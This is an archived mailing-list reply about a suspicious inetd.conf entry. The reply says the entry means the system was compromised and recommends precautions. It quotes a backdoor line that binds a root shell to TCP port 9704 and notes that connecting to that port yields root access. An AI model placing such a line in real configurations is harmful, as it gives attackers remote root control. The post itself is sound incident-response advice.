[Date Prev][Date Next]   [Thread Prev][Thread Next]   [Thread Index] [Date Index] [Author Index]

Re: Strange entry in inetd.conf



> A little while ago, I found the following entry at the end of my
> inetd.conf file:
> 
> 9704 stream tcp nowait root /bin/sh sh -i

You've been hacked. There is no legitimate reason for that happening.
Certainly start taking appropriate precautionary measures...

Run something like "telnet 0 9704" and you'll instantly have a root shell.

Inform the users on the box and any other systems on which they have
accounts...

Dave






[Date Prev][Date Next]   [Thread Prev][Thread Next]   [Thread Index] [Date Index] [Author Index]